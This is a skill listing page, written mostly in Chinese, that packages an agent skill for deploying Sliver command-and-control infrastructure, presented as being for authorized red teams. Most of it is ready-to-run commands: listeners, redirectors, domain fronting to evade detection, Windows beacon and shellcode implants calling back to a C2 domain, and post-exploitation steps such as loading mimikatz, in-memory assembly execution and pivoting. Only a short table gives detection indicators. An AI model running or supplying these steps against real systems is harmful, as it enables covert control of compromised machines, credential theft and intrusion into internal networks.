# Building C2 Infrastructure With Sliver Framework

> 使用 BishopFox 的 Sliver C2 框架构建和配置具备韧性的命令与控制（Command-and-Control）基础设施，包含重定向器（redirector）、HTTPS 监听器和多操作员支持，适用于授权红队（Red Team）演练。

- Skill: `killvxk/building-c2-infrastructure-with-sliver-framework` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/building-c2-infrastructure-with-sliver-framework`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/building-c2-infrastructure-with-sliver-framework/raw
- Safety review: WARNING
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/building-c2-infrastructure-with-sliver-framework

---

# 使用 Sliver 框架构建 C2 基础设施

## 概述

Sliver 是由 BishopFox 开发的开源、跨平台对手模拟（adversary emulation）框架，使用 Go 语言编写。它为红队提供植入物（implant）生成、多协议 C2 信道（mTLS、HTTP/S、DNS、WireGuard）、多操作员支持以及丰富的后渗透（post-exploitation）能力。Sliver 支持信标（beacon，异步）模式和会话（session，交互式）模式，既适合长期潜伏行动，也适合交互式利用。架构良好的 Sliver 基础设施通过重定向器、域前置（domain fronting）和 HTTPS 证书来维持运营韧性并规避检测。

## 目标

- 在加固的云基础设施上部署 Sliver 团队服务器
- 配置 HTTPS、mTLS、DNS 和 WireGuard 监听器
- 为目标平台生成植入物（信标和会话）
- 在植入物和团队服务器之间设置 NGINX 或 Apache 重定向器
- 实施基于 Cloudflare 或 CDN 的域前置以混淆流量
- 使用基于证书的认证配置多操作员访问
- 为 C2 通信建立操作安全（OPSEC）控制措施

## MITRE ATT&CK 映射

- **T1071.001** - 应用层协议：Web 协议
- **T1071.004** - 应用层协议：DNS
- **T1573.002** - 加密信道：非对称加密
- **T1090.002** - 代理：外部代理（重定向器）
- **T1105** - 入侵工具传输
- **T1132.001** - 数据编码：标准编码
- **T1572** - 协议隧道

## 实施步骤

### 阶段一：团队服务器部署
1. 为团队服务器配置 VPS（例如 DigitalOcean、Linode、AWS EC2）
2. 加固操作系统：禁用 SSH 密码认证、配置 UFW/iptables、安装 fail2ban
3. 使用官方安装脚本安装 Sliver：
   ```bash
   curl https://sliver.sh/install | sudo bash
   ```
4. 启动 Sliver 服务器守护进程：
   ```bash
   systemctl start sliver
   # 或以交互方式运行
   sliver-server
   ```
5. 为团队成员生成操作员配置文件：
   ```bash
   new-operator --name operator1 --lhost <team-server-ip>
   ```

### 阶段二：监听器配置
1. 使用合法 SSL 证书配置 HTTPS 监听器：
   ```bash
   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
   ```
2. 配置 DNS 监听器作为备用 C2：
   ```bash
   dns --domains c2dns.example.com --lport 53
   ```
3. 为高安全会话配置 mTLS 监听器：
   ```bash
   mtls --lhost 0.0.0.0 --lport 8888
   ```
4. 配置 WireGuard 监听器以实现隧道访问：
   ```bash
   wg --lport 51820
   ```

### 阶段三：重定向器设置
1. 部署独立 VPS 作为重定向器（位于目标和团队服务器之间）
2. 安装并配置 NGINX 作为反向代理：
   ```nginx
   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;

       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   ```
3. 在团队服务器上配置 iptables 规则，仅接受来自重定向器的连接：
   ```bash
   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   ```
4. 可选：在重定向器前面设置 Cloudflare 作为 CDN 层以实现域前置

### 阶段四：植入物生成
1. 生成 HTTPS 信标植入物：
   ```bash
   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   ```
2. 为受限网络生成 DNS 信标：
   ```bash
   generate beacon --dns c2dns.example.com --os windows --arch amd64
   ```
3. 生成用于注入的 shellcode 载荷：
   ```bash
   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
   ```
4. 配置信标抖动（jitter）和回调间隔：
   ```bash
   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
   ```

### 阶段五：后渗透操作
1. 与活跃信标/会话交互：
   ```bash
   beacons        # 列出活跃信标
   use <beacon-id> # 与信标交互
   ```
2. 执行后渗透模块：
   ```bash
   ps              # 进程列表
   netstat         # 网络连接
   execute-assembly /path/to/Seatbelt.exe -group=all  # 在内存中运行 .NET 程序集
   sideload /path/to/mimikatz.dll  # 加载 DLL
   ```
3. 设置枢纽（pivot）以访问内部网络：
   ```bash
   pivots tcp --bind 0.0.0.0:9898  # 在被控主机上创建枢纽监听器
   ```
4. 使用 BOF（Beacon Object Files，信标对象文件）实现内存执行：
   ```bash
   armory install sa-ldapsearch  # 从 armory 安装
   sa-ldapsearch -- "(objectClass=user)"  # 执行 BOF
   ```

## 工具与资源

| 工具 | 用途 | 平台 |
|------|---------|----------|
| Sliver Server | C2 团队服务器和植入物管理 | Linux/macOS/Windows |
| Sliver Client | 团队成员操作员控制台 | 跨平台 |
| NGINX | 重定向器和反向代理 | Linux |
| Certbot | Let's Encrypt SSL 证书生成 | Linux |
| Cloudflare | CDN 和域前置 | 云端 |
| Armory | Sliver 扩展/BOF 包管理器 | 内置 |

## 检测特征

| 指标 | 检测方法 |
|-----------|-----------------|
| 默认 Sliver HTTP 头部 | 网络流量分析，查找异常 User-Agent 字符串 |
| 非标准端口上的 mTLS | 防火墙日志，监控到异常端口的出站连接 |
| 高熵 DNS TXT 记录查询 | DNS 日志分析，检测编码的 C2 流量 |
| 51820 端口上的 WireGuard UDP 流量 | 网络流量分析，检测 WireGuard 握手模式 |
| Sliver 植入物文件哈希 | EDR/AV 针对已知 Sliver 样本的特征匹配 |

## 验证标准

- [ ] 团队服务器已部署并通过防火墙规则加固
- [ ] HTTPS 监听器已配置有效 SSL 证书
- [ ] DNS 监听器已配置为备用 C2 信道
- [ ] 至少部署一个位于目标和团队服务器之间的重定向器
- [ ] 多操作员访问已配置唯一证书
- [ ] 已为目标操作系统生成植入物
- [ ] 信标回调间隔和抖动已配置以增强隐蔽性
- [ ] 后渗透模块已测试（进程列表、.NET 程序集执行）
- [ ] 枢纽功能已验证可访问内部网络
- [ ] 所有 C2 流量均已加密并通过重定向器传输

